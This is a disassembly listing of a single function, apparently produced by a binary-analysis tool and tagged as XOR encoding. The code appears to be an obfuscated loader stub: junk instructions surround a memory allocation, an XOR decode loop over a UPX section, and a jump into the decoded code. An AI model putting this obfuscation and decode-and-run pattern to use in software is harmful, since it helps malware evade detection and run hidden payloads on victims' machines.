Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x7be18aab
add edx, edx
add edx, 0x15e656e9
popal
sub edx, edi
sub edx, 0x392682f5
inc edi
mov edx, 0
mov esi, ebx
add ecx, eax
and ecx, ecx
mov edi, esi
add eax, 0xfdf496ab
add ecx, ecx
mov ebx, edi
add eax, 0xa6d6edd6
sub ecx, 0x1aa8aca2
add edx, 1
inc eax
sub ecx, eax
cmp edx, 0x1001424
jne 0xa789c9
add ecx, eax
sub eax, ecx
sub edx, edi
add edx, 1
mov edx, 0x52def664
mov ecx, 0xa78796
dec edx
add edx, 0x8a416893
sub edx, esi
mov ebx, 0xa7898a
add edx, esi
sub edx, 0xb4a56e20
add edi, 0xd097f6fd
mov eax, dword [ecx]
and edx, esi
mov edi, edx
and eax, 0xff
mov edi, 0x83fa0ce1
mov edx, edi
xor dword [ebx], eax
dec esi
or esi, esi
inc ebx
sub edx, 0xae406398
mov edi, 0x9e559a4f
sub edi, 0x2ad21bdd
inc ecx
add edx, esi
sub edi, 0x322da9f3
mov edi, esi
cmp ebx, entry0
jl 0xa78a2e
add edi, 0xf38f02a6
sub edx, edi
mov edx, 0x5b8ef4d6
not edi
sub ebx, 0xb7beb5ee
dec esi
sub ebx, edi
mov edx, 0xa7898e
add ebx, 1
dec ecx
and ebx, ecx
mov edx, dword [edx]
and esi, ebx
sub ebx, edi
and edi, esi
mov edx, dword [edx]
add ebx, 0xd1185cef
mov ecx, 0xcd4960a0
push edx
and ebx, ecx
mov esi, ebx
mov edx, 0xa7898a
mov ecx, 0xdf256545
add ebx, 0xb256b5a3
mov edx, dword [edx]
and ecx, esi
add edi, ecx
mov edi, 0x3af378a5
mov edx, dword [edx]
inc ecx
inc ecx
push 0xa78992
or edi, esi
add ecx, ebx
call edx
sub ecx, 0x9b29dcba
inc ecx
pop edx
inc ebx
sub ebx, 0x7f52cc07
push 0xa7899f
sub ecx, edi
or ebx, ebx
push eax
add esi, 0xba1c8cf
mov ecx, 0x6d7fe44d
not esi
call edx
add esi, 0x4c31ea50
add ebx, 1
push 0x40
dec edi
mov ebx, ecx
mov ebx, esi
push 0x3000
not esi
mov ecx, 0xd5cdb427
sub esi, 1
push 0x20000598
mov ecx, 0x129d6fbf
or ecx, esi
add ecx, 1
push 0
and ebx, ecx
add edi, ebx
call eax
sub ebx, ecx
sub ebx, 1
add eax, 0x200004e5
or ecx, ecx
inc ecx
mov edx, 0x21552f6d
inc ebx
not esi
sub esi, ebx
mov dword [eax], edx
sub ecx, esi
dec esi
or ecx, esi
mov edx, dword [eax]
mov ebx, edi
add edi, esi
mov ebx, 0x4f3e158c
cmp edx, 0x21552f6d
je 0xa78b82
mov eax, 0
mov dword [eax], edx
dec ecx
sub ebx, 0xfb69fbc1
add ecx, esi
dec edi
sub ebx, ecx
not edi
add edx, 1
inc edi
and edx, edx
mov ecx, section.UPX1
not edx
sub edi, edx
mov esi, 0xa78795
mov edx, 0xd5c1181
and edi, edx
mov edx, 0x474517e9
mov eax, 0
add edi, 0xa2b2a93b
mov edi, edx
mov edx, edi
mov ebx, 0xa78796
or edx, edx
mov edi, 0x8f4a71ef
add edi, edi
lea ebx, [eax + ebx]
inc edi
not edi
sub edx, 1
mov ebx, dword [ebx]
and edx, edx
mov edi, edx
and ebx, 0xff
or edx, edx
sub edx, 0x39a21bef
add edi, edi
inc eax
add edi, 0xd0e01cec
sub edx, edi
cmp eax, 0x1f4
jne 0xa78c08
mov eax, 0
inc edx
and edi, edi
add edx, 0x1e1cb145
sub edx, 0x9e3f5858
mov edi, edx
xor dword [ecx], ebx
inc edi
mov edx, edi
add ecx, 2
add edx, 0x194e3d79
sub edx, edi
cmp ecx, esi
jl 0xa78bc2
mov edi, 0x9f54fc56
add edi, 0xa8e75ec5
or edi, edx
mov edx, edi
mov edx, section.UPX1
add esi, 1
and esi, esi
mov edi, section.UPX1
inc esi
add esi, 0x2349b647
add eax, 0x9e49515e
mov ecx, 0xa78795
add esi, 1
mov esi, 0xaefd5d81
mov esi, eax
mov ebx, 0
add eax, 0x33df2b78
add eax, eax
add eax, 0xf2ba8d
mov bl, byte [edi]
mov esi, 0xd70dbde0
add eax, 0xe6c4d4e8
mov byte [edx], bl
sub eax, 0x49338a51
add eax, 0x560a0384
mov esi, eax
add edx, 1
not eax
add esi, esi
add edi, 2
dec eax
not eax
mov eax, 0x4be3ae30
cmp edi, ecx
jle 0xa78c87
add eax, eax
dec esi
sub esi, 1
inc edx
and edi, edi
sub edx, 0x64c64273
push 0x8dc6a0
mov edx, 0xc65b6db1
add edi, 0xe7271cf9
ret